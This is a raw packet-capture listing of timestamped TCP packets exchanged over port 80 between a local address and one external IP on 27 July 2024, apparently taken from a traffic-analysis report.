Jul 27, 2024 09:26:09.948010921 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948014975 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948044062 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948051929 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948082924 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948091030 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948123932 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948139906 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948154926 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948159933 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948188066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948194981 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948220015 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948227882 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948251963 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948259115 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948292971 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948299885 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948332071 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948343039 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948364019 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948375940 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948396921 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948409081 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948430061 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.948437929 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.948472977 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.949805021 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.949852943 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.949857950 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.949903965 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.949908018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.949939013 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.949953079 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.949971914 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.949982882 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950004101 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.950016975 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950037003 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.950047016 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950082064 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950484991 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.950516939 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.950531006 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950556040 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950565100 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.950597048 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.950609922 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950629950 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.950640917 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950661898 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.950683117 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950694084 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.950701952 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.950732946 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.951605082 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.951657057 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.951690912 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.951704025 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.951723099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.951738119 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.951755047 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.951761961 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.951786041 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.951795101 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.951821089 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.951827049 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.951849937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.951885939 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.952620029 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.952656031 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.952673912 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.952681065 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.952706099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.952718973 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.952745914 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.952754021 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.952785969 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.952799082 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.952820063 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.952825069 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.952852964 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.952864885 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.952893972 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953562975 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953594923 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953607082 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953629017 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953638077 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953674078 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953680992 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953712940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953723907 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953744888 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953754902 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953785896 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953794003 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953825951 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953830957 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953860044 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953865051 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953891993 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953900099 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953924894 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953933001 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953957081 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953964949 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.953989029 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.953994989 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.954020977 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.954030037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.954063892 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.954607964 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.954638958 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.954665899 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.954688072 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.954696894 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.954722881 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.954729080 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.954755068 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.954765081 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.954788923 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.954798937 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.954822063 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.954827070 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.954860926 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.977355957 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977405071 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977437019 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977468014 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.977468967 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977502108 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.977503061 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977525949 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.977534056 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977544069 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.977567911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977610111 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.977828026 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977875948 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.977876902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977922916 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.977926016 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977958918 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.977971077 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.978001118 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.978007078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.978039980 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.978049040 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.978070974 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.978080988 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.978105068 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.978110075 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.978151083 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.003129005 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.003149986 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.003164053 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.003177881 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.003192902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.003201008 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.003207922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.003223896 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.003232002 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.003251076 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.003273010 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004106998 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004131079 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004144907 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004172087 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004194975 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004196882 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004210949 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004234076 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004247904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004251003 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004261017 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004271984 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004276991 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004292965 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004298925 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004318953 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004328012 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004347086 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004360914 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004368067 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004379034 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004395962 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004782915 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004806995 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004822016 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004853964 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004880905 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004899979 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004914045 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004926920 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004940033 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004954100 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004959106 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.004968882 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004982948 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.004985094 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.005012035 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.005029917 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.006124020 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.006139994 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.006161928 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.006175995 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.006181002 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.006191015 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.006203890 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.006230116 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.006232023 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.006246090 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.006269932 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.006294012 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.036099911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.036124945 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.036139011 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.036192894 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.036206007 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.036216974 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.036221027 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.036237001 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.036420107 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.037261009 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037276030 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037290096 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037302971 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037317991 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037333965 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037347078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037355900 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.037424088 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.037610054 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037677050 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037678957 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.037688971 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037766933 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.037767887 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037782907 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037796974 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037811041 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037825108 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.037848949 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.037875891 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.038995981 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039067984 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039094925 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039109945 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039123058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039139032 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039144993 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039150000 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039163113 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039164066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039179087 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039192915 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039205074 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039221048 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039378881 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039402008 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039417028 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039442062 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039458990 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039477110 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039490938 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039505959 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039520025 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.039531946 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.039555073 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.040391922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.040415049 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.040430069 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.040431976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.040453911 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.040462017 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.040519953 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.040534973 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.040549040 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.040564060 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.040572882 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.040600061 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.041500092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041522980 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041537046 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041541100 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.041560888 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.041565895 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041570902 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.041579962 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041615963 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.041656971 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041671038 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041687012 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041692019 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.041702032 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041713953 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.041717052 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.041724920 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.041742086 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.041753054 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.042057037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042071104 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042085886 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042097092 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.042099953 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042113066 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.042124033 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.042135000 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.042279959 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042337894 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042352915 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042366982 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042376995 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.042402029 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.042406082 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042419910 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042433977 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.042459011 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.042468071 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.065268993 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.065287113 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.065301895 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.065356970 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.065366983 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.065382004 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.065393925 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.065396070 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.065411091 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.065421104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.065460920 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.065942049 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.065965891 CEST	80	49733	185.215.113.16	192.168.2.5
